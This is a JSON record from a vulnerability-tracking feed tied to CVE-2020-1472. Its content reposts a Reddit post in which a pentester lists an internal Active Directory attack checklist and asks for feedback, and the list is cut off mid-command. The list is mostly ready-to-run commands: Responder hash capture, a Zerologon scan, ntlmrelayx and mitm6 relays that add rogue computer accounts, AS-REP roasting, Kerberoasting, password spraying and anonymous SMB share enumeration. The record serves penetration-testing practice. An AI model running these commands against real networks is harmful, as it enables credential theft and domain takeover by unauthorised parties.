{"uuid": "761c8f9f-09cf-4469-a1ae-7b3fee1f29cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1472", "type": "seen", "source": "https://t.me/hacking_Attack/176726", "content": "Pentesting/pentesters Guide and Help\nhttps://www.reddit.com/r/Pentesting/comments/1pwqt92/pentestingpentesters_guide_and_help/\n\nI'm looking for some feedback on internal and external pentesting that i could throw in my personal pentester handbook. I'll list what I'm looking for some feedback on internal and external pentesting that i could throw in my personal pentester handbook. I'll list what i have in mine for any newbies that it can help out too. I've been pentesting for a solid couple of years but really still feel like a noob. i feel like i have a solid foundation from studying the past few years but i'm really bad at getting into forums and discord to talk and learn from l33t pentesters, so i'm here. I really like internal tests so plzzzzzzzzzz give me some stuff i can try and i'm really weak on the external side so i'd love some tools and advice there too. Also my list probably sux because the majority of internal pentests are 4-8 hours so i don't get a chance to get to the good stuff. idk if i should've just linked to a github i made for all this mess i'm including below :/ Below is pretty much what i run every test, time permitting. its kinda organized, kinda a mess: CAPTURE HASHES - RESPONDER sudo python3.7 Responder/Responder.py -I eth0 2>/dev/null SCREENSHOT WEBPAGES - AQUATONE cat web-urls.txt | /opt/aquatone/aquatone SCAN FOR ZEROLOGON VULN - ZEROLOGON SCANNER python3.10 CVE-2020-1472/zerologon_tester.py DCDNS DCIP | tee -a zerologon1.txt ENUMERATE USERS \u2013 KERBRUTE/ENUM4LINUX/LOOKUPSID enum4linux -a DCIP | tee enum4linux.txt OR /opt/kerbrute_linux_amd64 userenum -d DOMAIN --dc DCIP USERLIST | tee kerbruteUsers.list OR impacket-lookupsid DOMAIN/''@DCIP | tee -a lookupSid.txt impacket-lookupsid DOMAIN/'guest'@DCIP | tee -a lookupSid.txt impacket-lookupsid DOMAIN/'anonymous'@DCIP | tee -a lookupSid.txt RPC/SUNRPC scanner/misc/sunrpc_portmapper rpcinfo -p  rpcclient -U ''%'' -W DOMAIN -c enumdomusers IP LDAP ldapsearch -H ldap://DCIP -x b \"DC=DOMAIN,DC=TLD\" ldapdomaindump ldap://DCIP crackmapexec ldap https://www.baeldung.com/linux/ldap-command-line-authentication for i in $(cat ldap-hosts.txt); do rpcclient -W DOMAIN -U \"%\" -c enumdomusers $i | tee rpcclient$i; done EXPLOIT LDAP SIGNING - RESPONDER/NTLMRELAYX sudo ntlmrelayx.py -t ldap://DCIP -of hashes.txt -l lewt 2>/dev/null sudo ntlmrelayx.py -t ldaps://DCIP --add-computer 'TRACE1$' -of hashes.txt -l lewt 2>/dev/null sudo python3.7 Responder/Responder.py -I eth0 2>/dev/null EXPLOIT LDAP(S) SIGNING VIA IPV6 \u2013 RESPONDER/NTLMRELAYX/MITM6 sudo python3.10 mitm6.py -d DOMAIN -d wpad.DOMAIN -d proxysrv.DOMAIN 2>/dev/null sudo ntlmrelayx.py -t ldaps://DCIP -wh wpad.DOMAIN --add-computer 'EVIL1$' -of hashes.txt -l lewt -6 2>/dev/null sudo python3.7 Responder/Responder.py -I eth0 2>/dev/null TIMEROAST \u2013 TIMEROAST.PY python3 timeroast.py DCIP ASREPROAST \u2013 IMPACKET-GETNPUSERS.PY impacket-GetNPUsers -usersfile usernames.txt -no-pass -dc-ip DCIP 'DOMAIN/' | tee asreproasted.txt KERBEROAST \u2013 IMPACKET-GETUSERSPN.PY impacket-GetUserSPNs -usersfile usernames.txt -no-pass -dc-ip DCIP 'DOMAIN/' | tee kerberoasted.txt impacket-GetUserSPNs DOMAIN/USERNAME -no-pass -request -dc-ip DCIP | tee kerberoasted.txt PASSWORD SPRAYING \u2013 KERBRUTE/NETEXEC /opt/kerbrute_linux_amd64 passwordspray -d DOMAIN --dc DCIP usernames.txt 'PASSWORD' | tee -a passSpray.list SMB SIGNING/OS INFORMATION \u2013 NETEXEC nxc smb nmap/smb-hosts.txt --log nxcSmbOS.txt --gen-relay-list signing.txt LDAP SIGNING/OS INFORMATION \u2013 NETEXEC nxc ldap nmap/ldap-hosts.txt -M ldap-checker --log nxcLdapsOS.txt ENUMERATE SMB SHARES \u2013 SMBMAP/NETEXEC nxc smb nmap/smb-hosts.txt -d DOMAIN --shares --log nxcSmbShares.txt nxc smb nmap/smb-hosts.txt -u 'anonymous' -p '' --shares --local-auth --log nxcSmbShares.txt nxc smb nmap/smb-hosts.txt -u 'administrator' -p '' --shares --local-auth --log nxcSmbShares.txt nxc smb nmap/smb-hosts.txt -d DOMAIN -u '' -p '' --shares --log nxcSmbShares.txt nxc smb nmap/smb-hosts.txt -d", "creation_timestamp": "2026-09-02T01:00:32.590269Z"}